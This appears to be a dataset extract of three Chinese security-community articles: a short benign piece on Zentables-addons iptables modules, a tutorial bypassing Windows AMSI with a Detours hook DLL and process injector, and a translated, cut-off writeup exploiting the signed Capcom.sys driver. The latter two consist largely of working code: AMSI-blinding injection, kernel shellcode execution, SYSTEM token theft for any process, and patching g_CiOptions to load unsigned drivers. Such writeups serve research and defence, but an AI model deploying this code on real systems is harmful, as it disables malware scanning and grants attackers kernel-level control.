text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 开源的网络安全linux内核扩展模块：Zentables-addons
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://n0where.net/open-source-cybersecurity-linux-kernel-extension-zentables%C2%AD-addons/>
译文仅供参考，具体内容表达以及含义原文为准。
Zenedge公司为开源社区贡献了一款名为Zentables-addons的开源Linux内核扩展模块。该模块可以增强系统中HTTP负载均衡器(例如HA
Proxy和Amazon
ELB)屏蔽IP地址的能力。该团队所研发的产品可以有效地将切断被屏蔽的IP地址与Linux内核用户空间之间的通信访问。这一扩展模块通过代理协议检测并利用恶意IP预测技术,将屏蔽能力提升了将近百分之六十六。
Zentablesaddons实际上是一个netfilter/iptables模块的集合,而这两个模块运行在Linux系统的内核层,而不是用户层。Zentablesaddons模块目前主要有两大模块组成:一个是专门用于解析代理协议的模块,该模块名为xt_zenset。它可以提取用户的真实源地址,并用这一地址与预鉴定的恶意IP地址进行对比,以鉴定出真实的恶意IP地址;另一个模块可以迅速切断并屏蔽TCP连接。第二个模块名为xt_RESET,该模块能够在即将建立通信的两端模拟TCP重置。
现在让我们来深入了解一下,当我们接收到一个从恶意客户端发送过来的请求时,会发生什么事情。
HTTP请求首先会抵达负载均衡器,该模块会首先利用代理协议header来对请求进行第一轮的检测,检测客户端的真实IP地址。检测通过后,模块会将请求转发至网络服务器。网络服务器便会根据请求信息来进行相应的处理。
当我们使用了七层网络协议来控制操作系统的内核访问时(比如说Nginx或者Apache),操作系统内核将会拷贝请求数据,然后将内核操作环境转换为用户层,并在用户空间处理网络请求。这一步骤往往消耗的资源过多,因为它需要先将请求信息进行拷贝,然后再进行处理。然后,Nginx或者Apache服务器会从代理协议header中提取出真实的IP地址,并将其与预测的恶意IP地址进行比对,最后才决定是否允许该IP地址访问。而在这一步骤中,系统需要根据请求信息向负载均衡器提供HTTP应答信息。这一操作步骤同样需要消耗大量资源,因为我们需要保持恶意TCP链接的连接状态。最终,负载均衡器会将请求的处理信息发送至恶意客户端。
当我们使用Zentablesaddons时,我们不仅可以避免对请求数据进行拷贝,还可以避免系统在内核层与用户空间进行频繁地切换。当请求信息抵达网络服务器之后,系统数据包过滤器会使用xt_zenset模块来对请求信息进行检查。如果请求的源地址与恶意IP地址相匹配,系统会立刻使用xt_RESET模块切断网络连接。最终,当负载均衡器接收到了TCP
RST之后,系统会将HTTP错误信息发送给恶意客户端。
使用方法:
比如说,我们要屏蔽源地址10.10.10.10通过代理协议或者TCP RST发送的请求,或者是直接屏蔽这一IP地址,我们可以这样操作:
安装模块
模块依赖:
构建模块:
运行模块: | 社区文章 |
## TL;DR
* 之前大概学过相关的技术但没认真研究和总结过，最近又研究学习了一下，这里做一下总结和分享。大家在渗透的时候都用过powershell，powershell的功能可谓非常之强大，常用于信息搜集、入侵、下载、提权、权限维持、横向移动等。常用的框架有powersploit、Empire、Nishang等，那AMSI又是啥？ AMSI(Anti-Malware Scan Interface)，即反恶意软件扫描接口，在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到如下的错误。
产生这一错误的原因即为AMSI防护的效果。那么防护的原理是啥以及如果绕过呢？
### 初步想法
* 这个是网上已经公开了的绕过AMSI的技术，但理解并且掌握整个过程同样因缺斯听，它可以用来绕过一些安全机制比如说ETW（Event Tracing for Windows）。这里要感谢MDSec以及RdpTheif工具的作者oxo9AL，RdpTheif工具使用了相似的技术。
* AMSI理论上是个很好的想法，在恶意脚本在执行的过程中去分析判断，然而这个理论在落地的时候存在缺陷，最终项目的代码可参考[AmsiHook](https://github.com/tomcarver16/AmsiHook)
* 可以看到尽管"Invoke-Mimikatz"这个字符串没有恶意执行的上下文可依然被检测并拦截，它是怎么工作的呢，微软在某些进程中加载了amsi.dll，并导出了一些函数功能供杀软和EDR去使用，当然这其中主要是微软自家的Windows Defender。
* 如上所示，可以看到在启动powershell进程的时候加载了amsi.dll.
* 查看amsi.dll中的导出函数，可以看到一个这样函数AmsiScanBuffer，在msdn上查找这个函数.
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
* 传递给AmsiScanBuffer函数的最后一个参数是一个枚举类型指针名字为result，这个result将决定执行这个脚本是否是恶意。
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
* 理论上如果能控制这个result（比如让它固定返回为AMSI_RESULT_CLEAN），AMSI就可能被绕过，所以该如何做呢？虽然amsi.dll注入到了进程，但是并没有内核驱动去保障amsi.dll是否被篡改，基于此让我们找个绕过的方法。
### HOOK函数
* HOOK函数可以让我们在调用这个函数之前控制这个函数，作为攻击者我们能做的事情很多，比如记录参数日志、允许或者拦截函数的执行、覆盖传入这个函数的参数、修改函数的返回值，我们现在需要找到hook AmsiScanBuffer函数的方法，这里可使用微软提供的hook函数库detours。
* 在这之前，你需要先编译detours成静态链接库，可以[参考文章](https://blog.csdn.net/qing666888/article/details/81540683),注意这里编译成X64版本的。因为后面注入的powershell也是64位的进程，所以amsihook.dll就需要是64位，那么这个静态链接库我们也需要编译成64位。
#include <iostream>
#include <Windows.h>
#include <detours.h>
static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;
int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}
int main() {
std::cout << "[+] Hooking MessageBox" << std::endl;
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[+] Message Box Hooked" << std::endl;
MessageBox(NULL, L"My Message", L"My Caption", 0);
std::cout << "[+] Unhooking MessageBox" << std::endl;
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[+] Message Box Unhooked" << std::endl;
}
* 上面代码通过detours库hook了MessageBox函数并重写了用户参数，以上我们可以用来hook AmsiScanBuffer，现在创建一个项目，这个项目使用AmsiScanBuffer来检测字符串是否为恶意。
#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
////使用EICAR标准进行测试 https://en.wikipedia.org/wiki/EICAR_test_file
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
int main() {
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
// Anything above 32767 is considered malicious
std::cout << GetResultDescription(res) << std::endl;
}
* 以上代码部分参考<https://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp>
* 有了测试AmsiScanBuffer的基础代码，我们使用刚才在hook messagebox中使用的方法来hook AmsiScanBuffer
#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
#define SAFE "SafeString"
//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
//Sets up detours to hook our function
void HookAmsi() {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
//Undoes the hooking we setup earlier
void UnhookAmsi() {
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
int main() {
//Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
//Declare test case to use
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
std::cout << "[+] Hooking AmsiScanBuffer" << std::endl;
HookAmsi();
std::cout << "[+] AmsiScanBuffer Hooked" << std::endl;
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
std::cout << GetResultDescription(res) << std::endl;
std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl;
UnhookAmsi();
std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
}
* 可以看到我们绕过了amsi的内容检测，现在来思考如何关闭AMSI对恶意powershell脚本的拦截，这里可使用进程注入方式将amsibypass.dll注入到powershell进程（同样amsi.dll也注入进去了），让其hook掉amsi.dll的AmsiScanBuffer函数，让其返回safe的信息即可。
### dll注入
* dll是一种类似PE的文件格式，然而它不可独立执行，它需要一个pe文件在运行的时候去加载，所以我们需要创建一个基础的注射器将dll加载并注入到powershell进程中。
* 注射器实现可以有多种方式，可以参考如下代码，也可以使用[injectAllTheThings](https://github.com/fdiskyou/injectAllTheThings)
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if (procID == 0) {
return FALSE;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;
loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);
CloseHandle(hProc);
return TRUE;
}
//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap;
BOOL done;
PROCESSENTRY32 procEntry;
ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
done = Process32First(hSnap, &procEntry);
do {
if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));
return 0;
}
int main(int argc, char** argv)
{
const char* processName = argv[1];
char* dllName = argv[2];
DWORD procID = GetProcIDByName(processName);
std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
if (InjectDll(procID, dllName)) {
std::cout << "DLL now injected!" << std::endl;
} else {
std::cout << "DLL couldn't be injected" << std::endl;
}
}
* 现在来创建一个dll以及导出函数AmsiScanBuffer
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer << std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
* 将AmsiHOOK.dll注入到powershell进程中。
* 现在我们可以输入任何恶意脚本给powershell执行了且不会被拦截，这个项目只是一个基础，你可以做相当多的扩展，如hook EtwEventWrite函数去隐藏日志记录等等。
* 下一篇给大家分享另外一种更简单的绕过姿势。
## Reference
[Understanding and Bypassing AMSI](https://x64sec.sh/understanding-and-bypassing-amsi/)
[初探Powershell与AMSI检测对抗技术](https://www.anquanke.com/post/id/168210) | 社区文章 |
最近看了一篇关于恶意软件Derusbi分析的[文章](http://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/)，该文章的技术亮点就是利用已签名驱动的漏洞来加载未签名驱动。文中利用[CVE-2013-3956](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3956)漏洞来翻转驱动签名的效验位，这样恶意软件就可以随意加载其他驱动，然后Derusbi加载了NDIS驱动程序，这样就可以进行流量嗅探（我没有研究具体细节）。
然而出于好奇，我觉得实现相同功能的POC将会非常困难（事实证明并非如此）。为了完全实现上述漏洞利用技术，我决定利用[@TheWack0lian](https://twitter.com/TheWack0lian/status/779397840762245124)于2016年[9](https://twitter.com/TheWack0lian/status/779397840762245124)月23日公布的签名驱动程序Capcom.sys中的漏洞来实现这一技术。好了，不再罗嗦了，直接操刀实战。
### 驱动漏洞
本文目的并非进行驱动漏洞分析，强烈建议先去看看如下[@TheColonial](https://twitter.com/TheColonial)
针对Capcom.sys驱动的攻击分析视频，这样会对该驱动的漏洞机理有一个清晰的认识，能在大脑里形成一个漏洞攻击利用过程的画面，将有助于对本文的理解。
<https://youtu.be/pJZjWXxUEl4>
<https://youtu.be/UGWqq5kTiso>
基本上，就是把执行ring0
代码作为一个服务！它唯一的功能就是获取用户地址指针，然后禁用[SMEP](http://j00ru.vexillium.org/?p=783)，然后在用户指针地址处执行代码，然后再恢复SMEP。该驱动漏洞利用过程的反汇编代码如下：
如下Power Shell POC实现了这个驱动漏洞的利用过程：
\# => cmp [rax-8], rcx
echo "`n[>] Allocating Capcom payload.."
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
echo "[+] Payload size: $(8 + $Shellcode.Length)"
echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"
$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\Htsysm72FB"
echo "[+] Handle: $hDevice"
}
\# IOCTL = 0xAA013044
\#---
$InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)
$OutBuff = 0x1234
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($InBuff.Length)"
echo "[+] IOCTL: 0xAA013044"
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null
有了执行Shellcode的能力后，我选择构造一个原始GDI位图结构，它可以使我能够持续地读写内核，而不用重复地加载驱动。我通过 [Stage-gSharedInfoBitmap](https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Stage-gSharedInfoBitmap.ps1) 来创建位图，并以下列方式设置Shellcode：
\# Leak BitMap pointers
echo "`n[>] gSharedInfo bitmap leak.."
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"
echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"
\# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @( # mov rcx,$Manager.BitmappvScan0
0x48,0x89,0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
想进一步了解该技术的实现细节，可以参考我之前以ID[@mwrlabs](https://twitter.com/mwrlabs)发表的文章 [A Tale
Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary
Edition](https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/)以及《我的WINDOWS
攻击之旅》系列的[第17篇](http://www.fuzzysecurity.com/tutorials/expDev/21.html)。
### Rootkit 功能
有了对内核的读写能力之后，我们就可以开始实现我们的Rootkit的功能了。对此，我决定专注于实现以下两个不同功能：
（1）将任意PID提升为SYSTEM;
（2）在运行时禁用驱动程序签名保护，将非签名代码加载到内核中。
### 任意进程权限提升
一般来说，我们需要遍历EPROCESS结构的链表，然后复制SYSTEM
EPROCESS令牌字段，并使用此值覆盖掉目标EPROCESS结构的令牌字段。在没有其他更好的漏洞利用的情况下，我们只有通过用户空间来泄露 System
(PID 4) EPROCESS 结构的指针：
需要注意的是，从WIN8.1之后需要具有普通权限，才可以通过“SystemModuleInformation”来泄漏当前加载的NT内核的基址。我们可以在PowerShell中使用[Get-LoadedModules](https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Get-LoadedModules.ps1)轻松实现此过程，并在KD中验证我们的结果。
非常棒，现在我们找到了一个方法来获得System EPROCESS 结构指针，同时我们可以通过构造的位图结构来读取SYSTEM token
。最后需要做的就是根据 "ActiveProcessLinks" 链来找到我们需要提升权限的进程的 EPROCESS结构。在x64
Win10平台，此链表结构如下：
该链表是一个双向循环链表，那么我们可以通过读取EPROCESS
结构，然后判断PID是否为目标进程，如果是则覆盖该进程Token，否则继续遍历直到获得目标进程的EPROCESS 结构。
EPROCESS
结构是非公开的，并且在不同的WIN操作系统上也不相同，但是我们可以通过维护一个静态的偏移列表来解决这个问题。在此强烈建议看一下由[@rwfpl](https://twitter.com/rwfpl)维护的一个工程
[Terminus
Project](http://terminus.rewolf.pl/terminus/)。下面的powershell函数实现了这个令牌窃取逻辑。
function Capcom-ElevatePID {
param ([Int]$ProcPID)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Defaults to elevating Powershell
if (!$ProcPID) {
$ProcPID = $PID
}
# Make sure the pid exists!
# 0 is also invalid but will default to $PID
$IsValidProc = ((Get-Process).Id).Contains($ProcPID)
if (!$IsValidProc) {
Write-Output "`n[!] Invalid process specified!`n"
Return
}
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
# Get EPROCESS entry for System process
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Capcom]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase
$CallResult = [Capcom]::FreeLibrary($KernelHanle)
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"
# Get EPROCESS entry for PID
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcPID) {
$TargetTokenAddr = $NextProcess+$TokenOffset
Write-Output "[+] Found PID: $NextPID"
Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
# Duplicate token!
Write-Output "[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $TargetTokenAddr -Value $SysToken
}
### 驱动签名绕过
作为本文的参考文章，建议去读一下由
[@j00ru](https://twitter.com/j00ru)写的关于驱动强制签名的[文章](http://j00ru.vexillium.org/?p=377)。文章指出WINDOWS平台下的代码效验，是通过一个二进制文件ci.dll
(=> %WINDIR%\System32)来管理的。在Windows
8之前，CI导出一个全局布尔变量g_CiEnabled，它很明显的指明签名是启用还是禁用。在Windows
8+中，g_CiEnabled被另一个全局变量g_CiOptions替换，g_CiOptions是标志的组合（ 0x0=disabled,
0x6=enabled, 0x8=Test Mode）。
时间原因，该模块仅通过g_CiOptions来修改代码效验标志，因此只适用Windows
8+。不过类似的方法也适用g_CiEnabled（可以在gihub自行搜索）。基本上，我们将使用和恶意软件Derusbi
一样的技术来绕过签名保护。因为g_CiOptions这个变量并没有被导出，因此我们在pach的时候需要进行一些动态计算。通过反编译
CI!CiInitialize，我们发现它泄露了，一个指向g_CiOptions的指针。
类似地，我们可以不借助任何漏洞，通过用户空间来泄露 CI!CiInitialize的地址。
至此，剩下的就是实现一些指令搜索逻辑，来读取g_CiOptions的值了。首先我们找到第一个jmp(0xe9)指令,然后再找到第一个"mov dword
prt[xxxxx], ecx"
(0x890D)指令，就可以得到g_CiOptions的地址。这样我们就可以把g_CiOptions的值改成任何我们想要的值了。实现这一搜索逻辑的powershell
函数如下：
function Capcom-DriverSigning {
param ([Int]$SetValue)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Leak CI base => $SystemModuleCI.ImageBase
$SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}
# We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
# Calculate => CI!CiInitialize
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"
# Free CI handle
$CallResult = [Capcom]::FreeLibrary($CIHanle)
# Calculate => CipInitialize
# jmp CI!CipInitialize
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"
break
}
}
# Calculate => g_CiOptions
# mov dword ptr [CI!g_CiOptions],ecx
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"
break
}
}
# print g_CiOptions
Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
if ($SetValue) {
Bitmap-Write -Address $g_CiOptions -Value $SetValue
# print new g_CiOptions
Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
}
}
下面的屏幕截图显示当前g_CiOptions valus是0x6（启用），我们加载“evil.sys”时被阻止。
覆盖该值后，未签名驱动被顺利加载：
稍微有趣的是 g_CiOptions 受 PatchGuard保护，一旦它发现 g_CiOptions 被更改，就会蓝屏 (=>
CRITICAL_STRUCTURE_CORRUPTION) 。然而实际上并不会蓝屏，修改了 g_CiOptions
后PatchGuard并不会马上检测到，如果加载了未签名驱动后，再马上恢复 g_CiOptions，
PatchGuard就无能为力了。我的深度防御建议是在加载驱动时触发PatchGuard
对CI的检查，不过这并不能完全阻止攻击者对加载非法驱动的探索，只是它会提高这一利用过程的难度等级。
### 总结
我相信本文的案例足以证明第三方签名驱动会对WINDOWS
